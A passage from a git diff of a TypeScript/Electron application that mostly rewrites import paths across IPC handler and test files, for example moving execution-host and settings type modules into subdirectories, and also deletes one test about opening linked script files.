enrichMissingRepoGitRemoteIdentities } from '../../workspaces/catalog/repo-git-remote-identity-enrichment' diff --git a/src/main/ipc/repos/repo-clone-lifecycle.ts b/src/main/ipc/repos/repo-clone-lifecycle.ts index 144cfbd1581..4511238d34a 100644 --- a/src/main/ipc/repos/repo-clone-lifecycle.ts +++ b/src/main/ipc/repos/repo-clone-lifecycle.ts @@ -5,7 +5,7 @@ import { mkdir } from 'node:fs/promises' import type { Store } from '../../persistence/loading-store/store' import type { Repo } from '../../../shared/repository/repo-types' import { isFolderRepo } from '../../../shared/repository/repo-kind' -import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/constants' +import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/repository/appearance/repo-badge-color' import { getGitCloneFailureMessage } from '../../../shared/git/remotes/git-clone-failure-message' import { gitSpawnAfterWindowsEnvironmentReady } from '../../git/command-runner/git-spawn' import { promptGuardGitEnv } from '../../git/command-runner/git-environment/git-process-env' @@ -23,7 +23,10 @@ import { getClonePathComparisonKey, getSavedProjectPathKeys } from '../../git/repositories/cloning/repo-clone-path' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect' import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation' import { invalidateAuthorizedRootsCache } from '../worktrees/removal/registered-worktree-roots-cache' diff --git a/src/main/ipc/repos/repo-creation-handlers.ts b/src/main/ipc/repos/repo-creation-handlers.ts index ad98cc70d4f..a254867a717 100644 --- a/src/main/ipc/repos/repo-creation-handlers.ts +++ b/src/main/ipc/repos/repo-creation-handlers.ts @@ -6,9 +6,13 @@ import { isAbsolute, join } from 'node:path' import type { Store } from '../../persistence/loading-store/store' import type { Repo } from '../../../shared/repository/repo-types' import type { RepositoryMetadataOwner } from '../../workspaces/catalog/imported-folder-project-link' -import { DEFAULT_REPO_BADGE_COLOR, getDefaultWorkspaceDir } from '../../../shared/constants' +import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/repository/appearance/repo-badge-color' +import { getDefaultWorkspaceDir } from '../../../shared/orca-profiles/constants' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { getEffectiveHostSetting } from '../../../shared/execution-host/host-setting-overrides' import { probeGitAvailability } from '../../git/command-runner/host-routing/git-availability' import { gitExecFileAsync } from '../../git/command-runner/git-exec-file' diff --git a/src/main/ipc/repos/repo-ipc-arg-schemas.ts b/src/main/ipc/repos/repo-ipc-arg-schemas.ts index 9fba84f876b..46d9477dc1b 100644 --- a/src/main/ipc/repos/repo-ipc-arg-schemas.ts +++ b/src/main/ipc/repos/repo-ipc-arg-schemas.ts @@ -6,7 +6,7 @@ import { WorkspaceLinkedItemSchema } from '../../../shared/workspace-attachments import { WorkspaceAttachmentsSchema } from '../../../shared/workspace-attachments/workspace-attachment-schema' import { isWorkspaceLinkedItemSourceContextMatch } from '../../../shared/workspace-attachments/workspace-linked-item-source-context' import { DiffCommentSchema } from '../../../shared/file-review/diff-comment-schema' -import { normalizeExecutionHostId } from '../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../shared/execution-host/execution-host' import { FolderWorkspaceHookCreateShape, FolderWorkspaceDelete, diff --git a/src/main/ipc/repos/repo-update-handler.ts b/src/main/ipc/repos/repo-update-handler.ts index ce91dec53b2..21a29c2fd13 100644 --- a/src/main/ipc/repos/repo-update-handler.ts +++ b/src/main/ipc/repos/repo-update-handler.ts @@ -8,7 +8,7 @@ import { type ExecutionHostId, getRepoExecutionHostId, normalizeExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { normalizeRepoBadgeColor } from '../../../shared/repository/appearance/repo-badge-color' import { sanitizeRepoIcon } from '../../../shared/repository/appearance/repo-icon' import { diff --git a/src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.ts b/src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.ts index 2416ba6ce1a..44180328335 100644 --- a/src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.ts +++ b/src/main/ipc/runtime-environments/browser-hosting/runtime-environment-browser-client-host-handler.ts @@ -3,7 +3,7 @@ import { BrowserClientHostPlacementPreparationRequest, type BrowserPageCreationPlacement } from '../../../../shared/browser/client-hosting/browser-client-host-placement' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { prepareRuntimeEnvironmentBrowserPlacement } from './runtime-environment-browser-placement' export function registerRuntimeEnvironmentBrowserClientHostHandler(options: { diff --git a/src/main/ipc/runtime-environments/catalog/runtime-environment-preference.ts b/src/main/ipc/runtime-environments/catalog/runtime-environment-preference.ts index 0631a7be7e6..27d1e84e319 100644 --- a/src/main/ipc/runtime-environments/catalog/runtime-environment-preference.ts +++ b/src/main/ipc/runtime-environments/catalog/runtime-environment-preference.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { listEnvironments } from '../../../../shared/remote-runtime/host-store/runtime-environment-store' import { getEnvironmentStorePath } from '../../../../shared/remote-runtime/host-store/runtime-environment-store-records' import type { Store } from '../../../persistence/loading-store/store' diff --git a/src/main/ipc/runtime-environments/catalog/runtime-environment-removal-cleanup.ts b/src/main/ipc/runtime-environments/catalog/runtime-environment-removal-cleanup.ts index 4c0cc4632fa..cf56248d1a6 100644 --- a/src/main/ipc/runtime-environments/catalog/runtime-environment-removal-cleanup.ts +++ b/src/main/ipc/runtime-environments/catalog/runtime-environment-removal-cleanup.ts @@ -5,7 +5,10 @@ import { clearBrowserRoutePartitionStorageForEnvironment } from '../../../browse import { retireBrowserRoutePartitionStorageForEnvironment } from '../../../browser/routing/partitions/browser-route-partition-storage-retirement' import { clearRuntimeEnvironmentCapabilityEvidence } from '../connections/runtime-environment-capability-evidence' import { clearRuntimeEnvironmentManualDisconnect } from '../connectivity/runtime-environment-manual-disconnect' -import { toRuntimeExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + toRuntimeExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { forgetRemoteLayoutSnapshot, type RemoteLayoutSnapshotStore diff --git a/src/main/ipc/runtime-environments/catalog/runtime-environment-session-reconcile.test.ts b/src/main/ipc/runtime-environments/catalog/runtime-environment-session-reconcile.test.ts index 6146eb8462e..7a351fc59ae 100644 --- a/src/main/ipc/runtime-environments/catalog/runtime-environment-session-reconcile.test.ts +++ b/src/main/ipc/runtime-environments/catalog/runtime-environment-session-reconcile.test.ts @@ -4,7 +4,7 @@ import * as fs from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { addEnvironmentFromPairingCode } from '../../../../shared/remote-runtime/host-store/runtime-environment-store' import '../../../../shared/remote-runtime/host-store/runtime-environment-store-file' import { getEnvironmentStorePath } from '../../../../shared/remote-runtime/host-store/runtime-environment-store-records' diff --git a/src/main/ipc/runtime-environments/catalog/runtime-environment-session-reconcile.ts b/src/main/ipc/runtime-environments/catalog/runtime-environment-session-reconcile.ts index 8fa4490470f..af201650e21 100644 --- a/src/main/ipc/runtime-environments/catalog/runtime-environment-session-reconcile.ts +++ b/src/main/ipc/runtime-environments/catalog/runtime-environment-session-reconcile.ts @@ -1,5 +1,8 @@ /** Crashes and older unlink flows can leave runtime session partitions that listings advertise as orphaned hosts. */ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { readEnvironmentStoreRecords } from '../../../../shared/remote-runtime/host-store/runtime-environment-registry' type SessionHostStore = { diff --git a/src/main/ipc/settings.ts b/src/main/ipc/settings.ts index 7349965f4da..4de4f0b75ed 100644 --- a/src/main/ipc/settings.ts +++ b/src/main/ipc/settings.ts @@ -3,8 +3,8 @@ import { confirmBrowserPasswordOwner } from '../browser-passwords/browser-passwo import { getClaudeAgentViewService } from '../claude/agent-view/agent-view-service' import { app, BrowserWindow, ipcMain, nativeTheme } from 'electron' import type { Store } from '../persistence/loading-store/store' -import type { GlobalSettings } from '../../shared/global-settings-types' -import type { PersistedState } from '../../shared/persisted-state-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' +import type { PersistedState } from '../../shared/orca-profiles/persisted-state-types' import { listSystemFontFamilies } from '../window/desktop-integration/system-fonts' import { registerSettingsImportHandlers } from './settings-import-handlers' import { setMainUiLanguage } from '../i18n/main-i18n' diff --git a/src/main/ipc/shell-editor-ssh-host.ts b/src/main/ipc/shell-editor-ssh-host.ts index e13d5e2bce0..590b13c8b52 100644 --- a/src/main/ipc/shell-editor-ssh-host.ts +++ b/src/main/ipc/shell-editor-ssh-host.ts @@ -1,5 +1,8 @@ import { getAppEnvironment } from '../../shared/app-lifecycle/app-environment' -import { parseExecutionHostId, toSshExecutionHostId } from '../../shared/execution-host' +import { + parseExecutionHostId, + toSshExecutionHostId +} from '../../shared/execution-host/execution-host' import { getManagedOrcadFenceEnvironmentId } from '../../shared/remote-runtime/ssh/managed-orcad-ssh-owner' import { listEnvironments } from '../../shared/remote-runtime/host-store/runtime-environment-store' import { diff --git a/src/main/ipc/shell-owned-path-target.ts b/src/main/ipc/shell-owned-path-target.ts index 61a3ab3cfe7..981d4be4e87 100644 --- a/src/main/ipc/shell-owned-path-target.ts +++ b/src/main/ipc/shell-owned-path-target.ts @@ -1,7 +1,7 @@ import { stat } from 'node:fs/promises' import { isAbsolute, normalize, win32 } from 'node:path' import { fileURLToPath } from 'node:url' -import { parseRoutableExecutionHostId } from '../../shared/execution-host' +import { parseRoutableExecutionHostId } from '../../shared/execution-host/execution-host' import type { ShellOpenLocalPathFailureReason } from '../../shared/shell/opening/shell-open-types' import { resolveWindowsPathAccess } from '../windows/windows-path-access-host' diff --git a/src/main/ipc/shell.test.ts b/src/main/ipc/shell.test.ts index 38e1f7806f8..753e8d4d79d 100644 --- a/src/main/ipc/shell.test.ts +++ b/src/main/ipc/shell.test.ts @@ -59,7 +59,7 @@ vi.mock('../../shared/shell/launch/windows-batch-spawn', () => ({ import { registerShellHandlers } from './shell' import type { SshTarget } from '../../shared/remote-runtime/ssh/ssh-types' -import type { OpenInApplication } from '../../shared/ui-chrome-types' +import type { OpenInApplication } from '../../shared/ui-chrome/ui-chrome-types' expect.objectContaining({ detached: true, stdio: 'ignore', @@ -215,25 +215,6 @@ describe('registerShellHandlers', () => { const scriptPath = process.platform === 'win32' ? 'C:\\x\\run.sh' : '/x/run.sh' const scriptUri = process.platform === 'win32' ? 'file:///C:/x/run.sh' : 'file:///x/run.sh' - it.each([ - ['open', 'opened', true], - ['reveal', 'revealed', true], - ['view-as-text', 'open-in-editor', true] - ] as const)('maps %s to %s for Markdown links', async (action, uriResult, pathResult) => { - inspectLinkedFileMock.mockResolvedValue(action) - - await expect(getHandler('shell:openFileUri')({}, scriptUri, 'local')).resolves.toBe(uriResult) - await expect(getHandler('shell:openFilePath')({}, scriptPath, 'local')).resolves.toBe( - pathResult - ) - // Only plain documents reach the OS default app; scripts never do. - expect(openPathMock).toHaveBeenCalledTimes(action === 'open' ? 2 : 0) - // A path open has no editor to fall back on, so scripts are revealed there. - expect(showItemInFolderMock).toHaveBeenCalledTimes( - action === 'reveal' ? 2 : action === 'view-as-text' ? 1 : 0 - ) - }) - it('reveals scripts linked with a line instead of opening them at it', async () => { inspectLinkedFileMock.mockResolvedValue('view-as-text') diff --git a/src/main/ipc/shell.ts b/src/main/ipc/shell.ts index 819e722ecdf..2da3061a784 100644 --- a/src/main/ipc/shell.ts +++ b/src/main/ipc/shell.ts @@ -24,7 +24,7 @@ import { import { resolveRemoteSshEditorLaunchSpec } from '../external-editors/remote-ssh-editor-launch' import { resolveOpenInEditorCommand } from '../external-editors/open-in-editor-command' import { openPathInDefaultApp } from '../external-editors/default-app-location-open' -import { toSshExecutionHostId } from '../../shared/execution-host' +import { toSshExecutionHostId } from '../../shared/execution-host/execution-host' import { isEditorSshHostForOwner, listAppRuntimeEnvironments, diff --git a/src/main/ipc/source-control/github-repo-routing.ts b/src/main/ipc/source-control/github-repo-routing.ts index e11fc889134..97b58ed8c48 100644 --- a/src/main/ipc/source-control/github-repo-routing.ts +++ b/src/main/ipc/source-control/github-repo-routing.ts @@ -1,5 +1,5 @@ import { resolve } from 'node:path' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { GitHubPRRefreshCandidate, GitHubPRRefreshEnqueueResult diff --git a/src/main/ipc/source-control/gitlab-repo-access.ts b/src/main/ipc/source-control/gitlab-repo-access.ts index b6236a26961..a8c9ccfaeb1 100644 --- a/src/main/ipc/source-control/gitlab-repo-access.ts +++ b/src/main/ipc/source-control/gitlab-repo-access.ts @@ -1,6 +1,6 @@ import { resolve } from 'node:path' import type { Repo } from '../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { TaskSourceContext } from '../../../shared/work-items/task-source-context' import type { Store } from '../../persistence/loading-store/store' import type { LocalGitExecOptions } from '../../gitlab/projects/gitlab-known-host-probe' diff --git a/src/main/ipc/source-control/hosted-review.ts b/src/main/ipc/source-control/hosted-review.ts index 14b94105122..d3718c47691 100644 --- a/src/main/ipc/source-control/hosted-review.ts +++ b/src/main/ipc/source-control/hosted-review.ts @@ -24,7 +24,10 @@ import { getLocalProjectWorktreeGitOptions } from '../../workspaces/execution-host/project-runtime-git-options' import { getWorktreeSharedLinkPaths } from '../../git/worktrees/content-paths/worktree-shared-directories' -import { getRepoExecutionHostId, getRepoSshConnectionId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + getRepoSshConnectionId +} from '../../../shared/execution-host/execution-host' import { getStoredRepoExecutionHostId } from '../../workspaces/execution-host/repo-execution-host' import { guardWslUncPathAccess } from '../../wsl/filesystem/wsl-unc-access-gate' diff --git a/src/main/ipc/ssh/ssh-renderer-broadcast.ts b/src/main/ipc/ssh/ssh-renderer-broadcast.ts index 06bbf513f90..fafae4dd5c4 100644 --- a/src/main/ipc/ssh/ssh-renderer-broadcast.ts +++ b/src/main/ipc/ssh/ssh-renderer-broadcast.ts @@ -5,7 +5,7 @@ import type { EnrichedDetectedPort, SshConnectionState } from '../../../shared/remote-runtime/ssh/ssh-types' -import { isOwnedSshTargetId } from '../../../shared/execution-host' +import { isOwnedSshTargetId } from '../../../shared/execution-host/execution-host' import { enrichSshDetectedPorts, enrichSshForwardEntries, diff --git a/src/main/ipc/ssh/ssh-session-teardown.ts b/src/main/ipc/ssh/ssh-session-teardown.ts index 5907d4e22b0..2acae73b654 100644 --- a/src/main/ipc/ssh/ssh-session-teardown.ts +++ b/src/main/ipc/ssh/ssh-session-teardown.ts @@ -16,7 +16,7 @@ import { } from './ssh-ipc-context' import { broadcastSshTargetRemoved } from './ssh-renderer-broadcast' import { clearHostSettingOverride } from '../../../shared/execution-host/host-setting-overrides' -import { toSshExecutionHostId } from '../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../shared/execution-host/execution-host' import { runTargetLifecycle } from './ssh-target-lifecycle-queue' import { forgetPortForwardRestoreState } from './ssh-managed-port-forward-restore' import { errorMessage } from '../../../shared/errors/error-message' diff --git a/src/main/ipc/ui.ts b/src/main/ipc/ui.ts index 6885e32a2ff..9e371dd14af 100644 --- a/src/main/ipc/ui.ts +++ b/src/main/ipc/ui.ts @@ -7,7 +7,7 @@ import { import { JiraSavedFilterMutationParam } from '../../shared/rpc-contract/jira/jira-saved-filter-params' import { BrowserWindow, ipcMain, webContents, type WebContents } from 'electron' import type { Store } from '../persistence/loading-store/store' -import type { PersistedUIState } from '../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../shared/orca-profiles/persisted-ui-state-types' import { isFeatureInteractionId } from '../../shared/feature-education/interactions/feature-interactions' import { isWslMoveWindowWriteHeld } from '../persistence/moving-wsl-projects/quiescence/wsl-move-window-write-hold' import { isTrustedMainRendererSender } from './main-renderer-sender-trust' diff --git a/src/main/ipc/workspace-cleanup/workspace-cleanup-candidate.ts b/src/main/ipc/workspace-cleanup/workspace-cleanup-candidate.ts index 6d5dab4b723..34301ea8a3d 100644 --- a/src/main/ipc/workspace-cleanup/workspace-cleanup-candidate.ts +++ b/src/main/ipc/workspace-cleanup/workspace-cleanup-candidate.ts @@ -1,7 +1,7 @@ import { isFolderRepo } from '../../../shared/repository/repo-kind' import type { Repo } from '../../../shared/repository/repo-types' import type { Worktree } from '../../../shared/worktree/types' -import { getWorktreeExecutionHostId } from '../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../shared/execution-host/execution-host' import type { PRInfo } from '../../../shared/github/pull-requests/pull-request-types' import type { PRCacheView } from '../../../shared/sidebar-list/feed-facts/workspace-review-facts' import { diff --git a/src/main/ipc/workspace-cleanup/workspace-cleanup-disconnected-ssh.ts b/src/main/ipc/workspace-cleanup/workspace-cleanup-disconnected-ssh.ts index d00823ad739..a8998e04d91 100644 --- a/src/main/ipc/workspace-cleanup/workspace-cleanup-disconnected-ssh.ts +++ b/src/main/ipc/workspace-cleanup/workspace-cleanup-disconnected-ssh.ts @@ -1,5 +1,8 @@ import { basename } from 'node:path' -import { getRepoExecutionHostId, normalizeExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + normalizeExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { RuntimeStore } from '../../runtime/construction/runtime-store-contract' import type { Repo } from '../../../shared/repository/repo-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' diff --git a/src/main/ipc/workspace-cleanup/workspace-cleanup-git-route.ts b/src/main/ipc/workspace-cleanup/workspace-cleanup-git-route.ts index 319a50b33b5..cb22b46bf4f 100644 --- a/src/main/ipc/workspace-cleanup/workspace-cleanup-git-route.ts +++ b/src/main/ipc/workspace-cleanup/workspace-cleanup-git-route.ts @@ -6,7 +6,7 @@ import { getWorktreeExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { Worktree } from '../../../shared/worktree/types' import { diff --git a/src/main/ipc/workspace-cleanup/workspace-cleanup-scan-primitives.ts b/src/main/ipc/workspace-cleanup/workspace-cleanup-scan-primitives.ts index effbadbe41c..8de5ddb3393 100644 --- a/src/main/ipc/workspace-cleanup/workspace-cleanup-scan-primitives.ts +++ b/src/main/ipc/workspace-cleanup/workspace-cleanup-scan-primitives.ts @@ -1,5 +1,5 @@ import { basename } from 'node:path' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { WorkspaceCleanupScanError } from '../../../shared/workspace-cleanup/workspace-cleanup' diff --git a/src/main/ipc/workspace-cleanup/workspace-cleanup.ts b/src/main/ipc/workspace-cleanup/workspace-cleanup.ts index 58fb43334f5..4b1a6495664 100644 --- a/src/main/ipc/workspace-cleanup/workspace-cleanup.ts +++ b/src/main/ipc/workspace-cleanup/workspace-cleanup.ts @@ -9,7 +9,7 @@ import { type WorkspaceCleanupSnapshotPruneBatchArgs, type WorkspaceCleanupSnapshotPruneRecordArgs } from '../../../shared/workspace-cleanup/workspace-cleanup' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import { getWorkspaceCleanupHostIdentity } from '../../../shared/workspace-cleanup/workspace-cleanup-host-identity' import { scanWorkspaceCleanup } from './workspace-cleanup-scan' import { abortWhenRendererGone } from '../renderer-lifetime-abort' diff --git a/src/main/ipc/workspace-space/workspace-space-window.ts b/src/main/ipc/workspace-space/workspace-space-window.ts index 21f99e41cf6..6745da89edc 100644 --- a/src/main/ipc/workspace-space/workspace-space-window.ts +++ b/src/main/ipc/workspace-space/workspace-space-window.ts @@ -7,7 +7,7 @@ import { } from '../../window/workspace-space-window' import { safelyRevealWindow } from '../../window/activation/focus-existing-window' import { isBackgroundLaunch } from '../../window/activation/foreground-activation-policy' -import { normalizeExecutionHostId } from '../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../shared/execution-host/execution-host' import { isWorkspaceSpaceChange } from '../../../shared/workspace-disk-space/workspace-space-change' import type { Store } from '../../persistence/loading-store/store' diff --git a/src/main/ipc/worktree-folder-rename-target.ts b/src/main/ipc/worktree-folder-rename-target.ts index e7f26660712..79186fd824a 100644 --- a/src/main/ipc/worktree-folder-rename-target.ts +++ b/src/main/ipc/worktree-folder-rename-target.ts @@ -1,5 +1,5 @@ import { posix } from 'node:path' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import '../../shared/worktree/id' import { WORKTREE_ID_SEPARATOR } from '../../shared/terminal/pty/lifecycle/pty-session-id-format' import { computeWorktreePath } from './worktree-logic' diff --git a/src/main/ipc/worktree-logic.ts b/src/main/ipc/worktree-logic.ts index 821474a5737..b1addc2cd49 100644 --- a/src/main/ipc/worktree-logic.ts +++ b/src/main/ipc/worktree-logic.ts @@ -1,5 +1,5 @@ import { resolve, relative, isAbsolute, posix, sep, win32 } from 'node:path' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { OrcaWorkspaceLayout } from '../../shared/worktree/paths/orca-workspace-layout' import type { Repo } from '../../shared/repository/repo-types' import { diff --git a/src/main/ipc/worktree-remote.ts b/src/main/ipc/worktree-remote.ts index 1b98d0029ca..0903ccde36a 100644 --- a/src/main/ipc/worktree-remote.ts +++ b/src/main/ipc/worktree-remote.ts @@ -100,7 +100,7 @@ import { getConnectionExecutionHostId, getRepoExecutionHostId, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import type { BranchPrefixSettings } from '../../shared/git/branches/branch-prefix' import { parseWorkspaceKey, diff --git a/src/main/ipc/worktrees-test-harness.ts b/src/main/ipc/worktrees-test-harness.ts index 06a130f5f2c..c58bbc071e9 100644 --- a/src/main/ipc/worktrees-test-harness.ts +++ b/src/main/ipc/worktrees-test-harness.ts @@ -10,7 +10,7 @@ import { resetSshProviderAuthorities } from '../ssh/connection/authority/ssh-pro import { createWorktreeRuntimeStub, type WorktreeRuntimeStub } from './worktrees-test-runtime-stub' import { handlers, mainWindow, store } from './worktrees-test-ipc-surface' import { configureMetadataPruningStoreMocks } from './worktrees-test-metadata-pruning-store' -import { getDefaultWorkspaceSession } from '../../shared/constants' +import { getDefaultWorkspaceSession } from '../../shared/orca-profiles/constants' import { ORIGINAL_PLATFORM, setPlatform, diff --git a/src/main/ipc/worktrees/create/register-review-base-handlers.ts b/src/main/ipc/worktrees/create/register-review-base-handlers.ts index f0f9cb0069b..929f3860cbb 100644 --- a/src/main/ipc/worktrees/create/register-review-base-handlers.ts +++ b/src/main/ipc/worktrees/create/register-review-base-handlers.ts @@ -1,7 +1,7 @@ import { ipcMain } from 'electron' import type { GitHubPrStartPoint, GitPushTarget } from '../../../../shared/worktree/types' import { isFolderRepo } from '../../../../shared/repository/repo-kind' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import { gitExecFileAsync } from '../../../git/command-runner/git-exec-file' import { getLocalProjectGhExecOptions, diff --git a/src/main/ipc/worktrees/create/register-worktree-create-handlers.ts b/src/main/ipc/worktrees/create/register-worktree-create-handlers.ts index 1fae2cd63ad..fcf834d0c6a 100644 --- a/src/main/ipc/worktrees/create/register-worktree-create-handlers.ts +++ b/src/main/ipc/worktrees/create/register-worktree-create-handlers.ts @@ -26,7 +26,7 @@ import { normalizeLinkedWorkItemFields } from '../ipc-context-schemas' import { createFolderWorkspace } from './folder-workspace-creation' import { findExactRepoOwner, isCapturedRepoCurrent } from '../listing/worktree-host-ownership' import { requireWorktreeCreateRoute } from '../../../workspaces/creation/worktree-create-execution-host-route' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { workspaceLifecycleKey } from '../../../runtime/workspaces/lifecycle/workspace-lifecycle-commands' import type { WorktreeIpcContext } from '../worktree-ipc-context' import { beginWorkspaceCreateTelemetry } from '../../../workspaces/creation/workspace-create-telemetry' diff --git a/src/main/ipc/worktrees/creation/worktree-base-directory-watch-targets.test.ts b/src/main/ipc/worktrees/creation/worktree-base-directory-watch-targets.test.ts index e41f10ced74..0a3b196bdff 100644 --- a/src/main/ipc/worktrees/creation/worktree-base-directory-watch-targets.test.ts +++ b/src/main/ipc/worktrees/creation/worktree-base-directory-watch-targets.test.ts @@ -1,6 +1,6 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { join, sep } from 'node:path' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' const { readFileMock, realpathMock, statMock, wslHomeMock, wslHomeAsyncMock } = vi.hoisted(() => ({ diff --git a/src/main/ipc/worktrees/creation/worktree-base-directory-watch-targets.ts b/src/main/ipc/worktrees/creation/worktree-base-directory-watch-targets.ts index ddb46ddc4a0..5567fe511dc 100644 --- a/src/main/ipc/worktrees/creation/worktree-base-directory-watch-targets.ts +++ b/src/main/ipc/worktrees/creation/worktree-base-directory-watch-targets.ts @@ -1,9 +1,12 @@ import { normalize } from 'node:path' import { realpath, stat } from 'node:fs/promises' import type { Store } from '../../../persistence/loading-store/store' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import { getRuntimePathBasename, diff --git a/src/main/ipc/worktrees/creation/worktree-create-lineage.test.ts b/src/main/ipc/worktrees/creation/worktree-create-lineage.test.ts index 18281c496b2..8f2db0fcadd 100644 --- a/src/main/ipc/worktrees/creation/worktree-create-lineage.test.ts +++ b/src/main/ipc/worktrees/creation/worktree-create-lineage.test.ts @@ -1,7 +1,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { CreateWorktreeArgs } from '../../../../shared/worktree/create-types' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../shared/worktree/types' import { worktreeWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { diff --git a/src/main/ipc/worktrees/git/git-status-upstream-ref-watch-request.ts b/src/main/ipc/worktrees/git/git-status-upstream-ref-watch-request.ts index 889733188fe..933baa9b6f2 100644 --- a/src/main/ipc/worktrees/git/git-status-upstream-ref-watch-request.ts +++ b/src/main/ipc/worktrees/git/git-status-upstream-ref-watch-request.ts @@ -10,7 +10,7 @@ import { import { setWorktreeGitStatusRefWatch } from '../creation/worktree-base-directory-watcher' import type { GitStatusRefBindingRequest } from './worktree-git-status-ref-watch' import { requireReachableGitRoute } from '../../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' import { assertWslUncPathRunning } from '../../../wsl/filesystem/wsl-unc-access-gate' const UPSTREAM_REF_RESOLUTION_TIMEOUT_MS = 15_000 diff --git a/src/main/ipc/worktrees/ipc-context-schemas.ts b/src/main/ipc/worktrees/ipc-context-schemas.ts index 2a5916e7c43..35ba41cad6f 100644 --- a/src/main/ipc/worktrees/ipc-context-schemas.ts +++ b/src/main/ipc/worktrees/ipc-context-schemas.ts @@ -3,7 +3,7 @@ import type { AutomationWorkspaceProvenance, CliWorkspaceProvenance } from '../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { NestedWorktreeRemovalApproval } from '../../../shared/worktree/removal/nested-removal' import type { ListDetectedWorktreesArgs } from '../../../shared/worktree/catalog/detected-worktree-provider-contract' import { WorkspaceLinkedItemSchema } from '../../../shared/workspace-attachments/workspace-linked-item-schema' diff --git a/src/main/ipc/worktrees/listing/authoritative-local-worktree-metadata-pruning.ts b/src/main/ipc/worktrees/listing/authoritative-local-worktree-metadata-pruning.ts index 0f24b4f6b64..a394517b9a5 100644 --- a/src/main/ipc/worktrees/listing/authoritative-local-worktree-metadata-pruning.ts +++ b/src/main/ipc/worktrees/listing/authoritative-local-worktree-metadata-pruning.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { 